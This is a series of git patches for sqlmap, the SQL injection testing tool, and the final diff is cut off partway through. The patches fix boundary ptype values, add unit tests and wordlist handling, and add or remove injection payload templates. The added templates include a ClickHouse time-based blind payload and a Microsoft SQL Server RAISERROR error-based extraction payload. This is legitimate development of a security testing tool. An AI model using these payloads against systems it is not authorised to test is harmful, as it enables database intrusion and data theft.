-RDB$FILE_NAME -RDB$FILE_PARTITIONS -RDB$FILE_P_OFFSET -RDB$FILES -RDB$FILE_SEQUENCE -RDB$FILE_START -RDB$FILTERS -RDB$FLAGS -RDB$FOREIGN_KEY -RDB$FORMAT -RDB$FORMATS -RDB$FORM_OF_USE -RDB$FUNCTION_ARGUMENTS -RDB$FUNCTION_BLR -RDB$FUNCTION_ID -RDB$FUNCTION_NAME -RDB$FUNCTIONS -RDB$FUNCTION_SOURCE -RDB$FUNCTION_TYPE -RDB$GENERATOR_ID -RDB$GENERATOR_INCREMENT -RDB$GENERATOR_NAME -RDB$GENERATORS -RDB$GRANT_OPTION -RDB$GRANTOR -RDB$GUID -RDB$IDENTITY_TYPE -RDB$INDEX_ID -RDB$INDEX_INACTIVE -RDB$INDEX_NAME -RDB$INDEX_SEGMENTS -RDB$INDEX_TYPE -RDB$INDICES -RDB$INITIALLY_DEFERRED -RDB$INITIAL_VALUE -RDB$INPUT_SUB_TYPE -RDB$KEYWORD_NAME -RDB$KEYWORD_RESERVED -RDB$KEYWORDS -RDB$LEGACY_FLAG -RDB$LINGER -RDB$LOG_FILES -RDB$LOWER_BOUND -RDB$MAP_DB -RDB$MAP_FROM -RDB$MAP_FROM_TYPE -RDB$MAP_NAME -RDB$MAP_PLUGIN -RDB$MAP_TO -RDB$MAP_TO_TYPE -RDB$MAP_USING -RDB$MATCH_OPTION -RDB$MECHANISM -RDB$MESSAGE -RDB$MESSAGE_NUMBER -RDB$MISSING_SOURCE -RDB$MISSING_VALUE -RDB$MODULE_NAME -RDB$NULL_FLAG -RDB$NUMBER_OF_CHARACTERS -RDB$OBJECT_TYPE -RDB$OUTPUT_SUB_TYPE -RDB$OWNER_NAME -RDB$PACKAGE_BODY_SOURCE -RDB$PACKAGE_HEADER_SOURCE -RDB$PACKAGE_NAME -RDB$PACKAGES -RDB$PAGE_NUMBER -RDB$PAGES -RDB$PAGE_SEQUENCE -RDB$PAGE_TYPE -RDB$PARAMETER_MECHANISM -RDB$PARAMETER_NAME -RDB$PARAMETER_NUMBER -RDB$PARAMETER_TYPE -RDB$PRIVATE_FLAG -RDB$PRIVILEGE -RDB$PROCEDURE_BLR -RDB$PROCEDURE_ID -RDB$PROCEDURE_INPUTS -RDB$PROCEDURE_NAME -RDB$PROCEDURE_OUTPUTS -RDB$PROCEDURE_PARAMETERS -RDB$PROCEDURES -RDB$PROCEDURE_SOURCE -RDB$PROCEDURE_TYPE -RDB$PUBLICATION_NAME -RDB$PUBLICATIONS -RDB$PUBLICATION_TABLES -RDB$QUERY_HEADER -RDB$QUERY_NAME -RDB$REF_CONSTRAINTS -RDB$RELATION_CONSTRAINTS -RDB$RELATION_FIELDS -RDB$RELATION_ID -RDB$RELATION_NAME -RDB$RELATIONS -RDB$RELATION_TYPE -RDB$RETURN_ARGUMENT -RDB$ROLE_NAME -RDB$ROLES -RDB$RUNTIME -RDB$SCN -RDB$SECURITY_CLASS -RDB$SECURITY_CLASSES -RDB$SEGMENT_COUNT -RDB$SEGMENT_LENGTH -RDB$SHADOW_NUMBER -RDB$SPECIFIC_ATTRIBUTES -RDB$SQL_SECURITY -RDB$STATISTICS -RDB$SYSTEM_FLAG -RDB$SYSTEM_PRIVILEGES -RDB$TABLE_NAME -RDB$TIMESTAMP -RDB$TIME_ZONE_ID -RDB$TIME_ZONE_NAME -RDB$TIME_ZONES -RDB$TRANSACTION_DESCRIPTION -RDB$TRANSACTION_ID -RDB$TRANSACTIONS -RDB$TRANSACTION_STATE -RDB$TRIGGER_BLR -RDB$TRIGGER_INACTIVE -RDB$TRIGGER_MESSAGES -RDB$TRIGGER_NAME -RDB$TRIGGERS -RDB$TRIGGER_SEQUENCE -RDB$TRIGGER_SOURCE -RDB$TRIGGER_TYPE -RDB$TYPE -RDB$TYPE_NAME -RDB$TYPES -RDB$UNIQUE_FLAG -RDB$UPDATE_FLAG -RDB$UPDATE_RULE -RDB$UPPER_BOUND -RDB$USER -RDB$USER_PRIVILEGES -RDB$USER_TYPE -RDB$VALIDATION_BLR -RDB$VALIDATION_SOURCE -RDB$VALID_BLR -RDB$VALID_BODY_FLAG -RDB$VIEW_BLR -RDB$VIEW_CONTEXT -RDB$VIEW_NAME -RDB$VIEW_RELATIONS -RDB$VIEW_SOURCE -SEC$ACTIVE -SEC$ADMIN -SEC$DB_CREATORS -SEC$DESCRIPTION -SEC$FIRST_NAME -SEC$GLOBAL_AUTH_MAPPING -SEC$KEY -SEC$LAST_NAME -SEC$MAP_DB -SEC$MAP_FROM -SEC$MAP_FROM_TYPE -SEC$MAP_NAME -SEC$MAP_PLUGIN -SEC$MAP_TO -SEC$MAP_TO_TYPE -SEC$MAP_USING -SEC$MIDDLE_NAME -SEC$PLUGIN -SEC$USER -SEC$USER_ATTRIBUTES -SEC$USER_NAME -SEC$USERS -SEC$USER_TYPE -SEC$VALUE -SURNAME -USERS - diff --git a/lib/core/common.py b/lib/core/common.py index 63251cc26e8..6b70d688150 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1585,7 +1585,7 @@ def setPaths(rootPath): paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files - paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt") + paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.tx_") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") diff --git a/lib/core/settings.py b/lib/core/settings.py index 110251d1095..0a7a98953ce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.145" +VERSION = "1.10.7.146" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 014a88e9542..bb449c3d5fc 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -24,7 +24,7 @@ from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData -from lib.core.common import openFile +from lib.core.common import getText from lib.core.common import predictValue from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite @@ -44,6 +44,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.wordlist import Wordlist from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS @@ -109,7 +110,7 @@ def getHuffmanPrior(order, scale, dbms=None): set-membership tree during blind NAME enumeration (so it predicts from the first character rather than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching - [] section of catalog-identifiers.txt - a single global model dilutes across dialects). + [] section of catalog-identifiers.tx_ - a single global model dilutes across dialects). Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. """ @@ -126,19 +127,23 @@ def getHuffmanPrior(order, scale, dbms=None): pass if dbms: + wordlist = None try: - with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f: - section = None - for line in f: - line = line.strip() - if not line or line.startswith('#'): - continue - if line.startswith('[') and line.endswith(']'): - section = line[1:-1] - elif section == dbms: - names.append(line) + wordlist = Wordlist(paths.CATALOG_IDENTIFIERS) # transparently decompresses the shipped .tx_ + section = None + for line in wordlist: + line = getText(line).strip() + if not line or line.startswith('#'): + continue + if line.startswith('[') and line.endswith(']'): + section = line[1:-1] + elif section == dbms: + names.append(line) except Exception: pass + finally: + if wordlist is not None: + wordlist.closeFP() for name in names: terminated = name + "\x00" From b0408f1bd8c86629747b1b3fc0b477e60a93b15e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 11:44:50 +0200 Subject: [PATCH 803/853] Fixing some wrong ptype values in boundaries.xml --- data/xml/boundaries.xml | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index cea5457cdd6..752f243bb8b 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -346,7 +346,7 @@ Formats: 5 9 1,2 - 2 + 4 ") WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] @@ -457,7 +457,7 @@ Formats: 5 1 1,2 - 2 + 4 ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] @@ -550,7 +550,7 @@ Formats: 5 7 1 - 3 + 6 [RANDSTR1], [RANDSTR2] diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a7a98953ce..eaa1f92166e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.146" +VERSION = "1.10.7.147" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fc9b3c9b674f6e6b36db6bbd04704d14fef305d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 12:22:04 +0200 Subject: [PATCH 804/853] Fixing some more wrong ptype values in boundaries.xml --- data/xml/boundaries.xml | 4 ++-- lib/core/settings.py | 2 +- tests/test_payloads_structure.py | 20 ++++++++++++++++++++ 3 files changed, 23 insertions(+), 3 deletions(-) diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index 752f243bb8b..541ab796853 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -502,7 +502,7 @@ Formats: 4 1 1 - 1 + 6 ` WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] @@ -511,7 +511,7 @@ Formats: 5 1 1 - 1 + 6 `) WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] diff --git a/lib/core/settings.py b/lib/core/settings.py index eaa1f92166e..66481f1d244 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.147" +VERSION = "1.10.7.148" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py index 51796da32ff..504f4288e0c 100644 --- a/tests/test_payloads_structure.py +++ b/tests/test_payloads_structure.py @@ -105,6 +105,26 @@ def test_clause_is_list_like(self): for b in conf.boundaries: self.assertTrue(isinstance(b.clause, (list, tuple)), msg="boundary clause not list-like") + def test_ptype_in_range(self): + # ptype feeds the recorded injection identity (report label, (place,parameter,ptype) dedup + # key, session hash) - an out-of-range value silently corrupts all three + for b in conf.boundaries: + self.assertIn(b.ptype, (1, 2, 3, 4, 5, 6), msg="boundary %r bad ptype %r" % (b.prefix, b.ptype)) + + def test_ptype_matches_prefix_quote(self): + # The lexical quote a prefix opens with must agree with ptype (else the injection is recorded + # under the wrong type - e.g. a backtick identifier breakout mislabelled numeric). Only the + # unambiguous cases are asserted: backtick is ALWAYS an identifier delimiter (ptype 6), and a + # leading single quote is ALWAYS a single-quoted string (ptype 2/3). Double quote is left out + # on purpose - it is a string literal (4/5) under some DBMS and an ANSI identifier (6) under + # others, so it is genuinely ambiguous from the prefix alone. + for b in conf.boundaries: + prefix = (b.prefix or "").lstrip() + if prefix.startswith('`'): + self.assertEqual(b.ptype, 6, msg="backtick prefix %r must be identifier ptype 6, got %r" % (b.prefix, b.ptype)) + elif prefix.startswith("'"): + self.assertIn(b.ptype, (2, 3), msg="single-quote prefix %r must be ptype 2/3, got %r" % (b.prefix, b.ptype)) + if __name__ == "__main__": unittest.main(verbosity=2) From 6ce5d7d7e428d695de1fb47cf465b05210aeacbd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 12:37:16 +0200 Subject: [PATCH 805/853] Adding some more boundaries --- data/xml/boundaries.xml | 58 ++++++++++++++++++++++++++++++++ lib/core/enums.py | 2 ++ lib/core/settings.py | 2 +- tests/test_payloads_structure.py | 2 +- 4 files changed, 62 insertions(+), 2 deletions(-) diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index 541ab796853..0b5eb6053d4 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -55,6 +55,8 @@ Tag: 4: Double quoted string 5: LIKE double quoted string 6: Identifier (e.g. column name) + 7: Block comment + 8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]') Sub-tag: A string to prepend to the payload. @@ -517,6 +519,18 @@ Formats: + + + 4 + 1,2,3 + 1,2 + 7 + */ + /* + + 4 @@ -565,4 +579,48 @@ Formats: # + + + + 5 + 1 + 1,2 + 8 + $$ + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + ]' + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + }' + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + )' + [GENERIC_SQL_COMMENT] + + + 5 + 1 + 1,2 + 8 + >' + [GENERIC_SQL_COMMENT] + + diff --git a/lib/core/enums.py b/lib/core/enums.py index da201af2343..ced9700a854 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -339,6 +339,8 @@ class PAYLOAD(object): 4: "Double quoted string", 5: "LIKE double quoted string", 6: "Identifier (e.g. column name)", + 7: "Block comment", + 8: "Alternative quoted string", } RISK = { diff --git a/lib/core/settings.py b/lib/core/settings.py index 66481f1d244..2e64ff364f5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.148" +VERSION = "1.10.7.149" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py index 504f4288e0c..16556a5a161 100644 --- a/tests/test_payloads_structure.py +++ b/tests/test_payloads_structure.py @@ -109,7 +109,7 @@ def test_ptype_in_range(self): # ptype feeds the recorded injection identity (report label, (place,parameter,ptype) dedup # key, session hash) - an out-of-range value silently corrupts all three for b in conf.boundaries: - self.assertIn(b.ptype, (1, 2, 3, 4, 5, 6), msg="boundary %r bad ptype %r" % (b.prefix, b.ptype)) + self.assertIn(b.ptype, (1, 2, 3, 4, 5, 6, 7, 8), msg="boundary %r bad ptype %r" % (b.prefix, b.ptype)) def test_ptype_matches_prefix_quote(self): # The lexical quote a prefix opens with must agree with ptype (else the injection is recorded From 67574b8047a9aea67e647c0de3e6251c6a44917b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 13:40:19 +0200 Subject: [PATCH 806/853] Minor improvement of payloads --- data/xml/payloads/boolean_blind.xml | 61 --------------------------- data/xml/payloads/error_based.xml | 2 +- data/xml/payloads/stacked_queries.xml | 4 +- data/xml/payloads/time_blind.xml | 38 +++++++++++++++++ lib/core/settings.py | 2 +- 5 files changed, 42 insertions(+), 65 deletions(-) diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 4fdd23cf1f4..1e5d378004a 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -1109,46 +1109,6 @@ Tag: - - MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause - 1 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
- MySQL - < 5.0 -
-
- - - MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) - 1 - 4 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - -
- MySQL - < 5.0 -
-
- PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause 1 @@ -1445,27 +1405,6 @@ Tag: - - MySQL < 5.0 boolean-based blind - Stacked queries - 1 - 5 - 1 - 1-8 - 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - # - - - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - -
- MySQL - < 5.0 -
-
- PostgreSQL boolean-based blind - Stacked queries 1 diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f92974eac49..ca165b5c5d4 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -996,7 +996,7 @@ MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) 2 - 2 + 5 1 1,2,3,4,5 1 diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index b431bb7849f..b882f158d23 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -207,7 +207,7 @@ PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 - 1 + 3 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -229,7 +229,7 @@ PostgreSQL < 8.2 stacked queries (Glibc) 4 5 - 1 + 3 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 1370b8b262e..65d854c2332 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,6 +1494,44 @@ + + ClickHouse AND time-based blind (sleepEachRow) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1) + + AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1) + + + + +
+ ClickHouse +
+
+ + + ClickHouse OR time-based blind (sleepEachRow) + 5 + 5 + 3 + 1,2,3 + 2 + OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1) + + OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1) + + + + +
+ ClickHouse +
+
+ ClickHouse AND time-based blind (heavy query) 5 diff --git a/lib/core/settings.py b/lib/core/settings.py index 2e64ff364f5..a1c8edb6ee2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.149" +VERSION = "1.10.7.150" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0f5ba415352c8b1faf86aa838ca1d2ad36db876c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 14:08:16 +0200 Subject: [PATCH 807/853] Adding RAISERROR MsSQL payload --- data/xml/payloads/error_based.xml | 20 ++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index ca165b5c5d4..86f90cc7a1f 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -1589,6 +1589,26 @@ + + Microsoft SQL Server error-based - Stacking (RAISERROR) + 2 + 2 + 1 + 1-8 + 1 + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1) + + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1) + -- + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server +
+
+ Microsoft SQL Server/Sybase error-based - Stacking (EXEC) 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index a1c8edb6ee2..1d8e7e7d5c0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.150" +VERSION = "1.10.7.151" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3238415d4834be5f9090b26418548597942c1d6f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 17:02:29 +0200 Subject: [PATCH 808/853] Removing some junk boundaries --- data/xml/boundaries.xml | 51 ----------------------------------------- lib/core/settings.py | 2 +- 2 files changed, 1 insertion(+), 52 deletions(-) diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index 0b5eb6053d4..e184ff21c7a 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -344,14 +344,6 @@ Formats: [GENERIC_SQL_COMMENT] - - 5 - 9 - 1,2 - 4 - ") WHERE [RANDNUM]=[RANDNUM] - [GENERIC_SQL_COMMENT] - 4 @@ -416,33 +408,6 @@ Formats: )+' - - 5 - 9 - 1 - 2 - ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] - )|| - - - - 5 - 9 - 1 - 2 - ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )|| - - - - 5 - 9 - 1 - 1 - +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+ - - @@ -455,14 +420,6 @@ Formats: [GENERIC_SQL_COMMENT] - - 5 - 1 - 1,2 - 4 - ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - [GENERIC_SQL_COMMENT] - 5 @@ -509,14 +466,6 @@ Formats: [GENERIC_SQL_COMMENT] - - 5 - 1 - 1 - 6 - `) WHERE [RANDNUM]=[RANDNUM] - [GENERIC_SQL_COMMENT] - - - + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index e96e15674c0..0c4189caf86 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.162" +VERSION = "1.10.7.163" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 721c9d9d70ca9084adcbf8e951116aeef66e23f5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 11:44:37 +0200 Subject: [PATCH 820/853] Fixing Derby queries --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index d08b78d3976..831ed68a634 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -959,8 +959,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c4189caf86..956d4c99fb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.163" +VERSION = "1.10.7.164" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d381a32c9447ff77b469083f0d5623137d287b8a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 11:54:57 +0200 Subject: [PATCH 821/853] Fixing Sybase queries --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 831ed68a634..6ac58b7f6df 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -555,7 +555,7 @@ - + @@ -607,7 +607,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 956d4c99fb9..694ec213bc6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.164" +VERSION = "1.10.7.165" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 99ec51f86d37599752fa94b6229da93a837f9837 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 12:23:02 +0200 Subject: [PATCH 822/853] Minor bug fix --- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 694ec213bc6..004f961de33 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.165" +VERSION = "1.10.7.166" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 870f51e65b9..241b4b64586 100644 --- 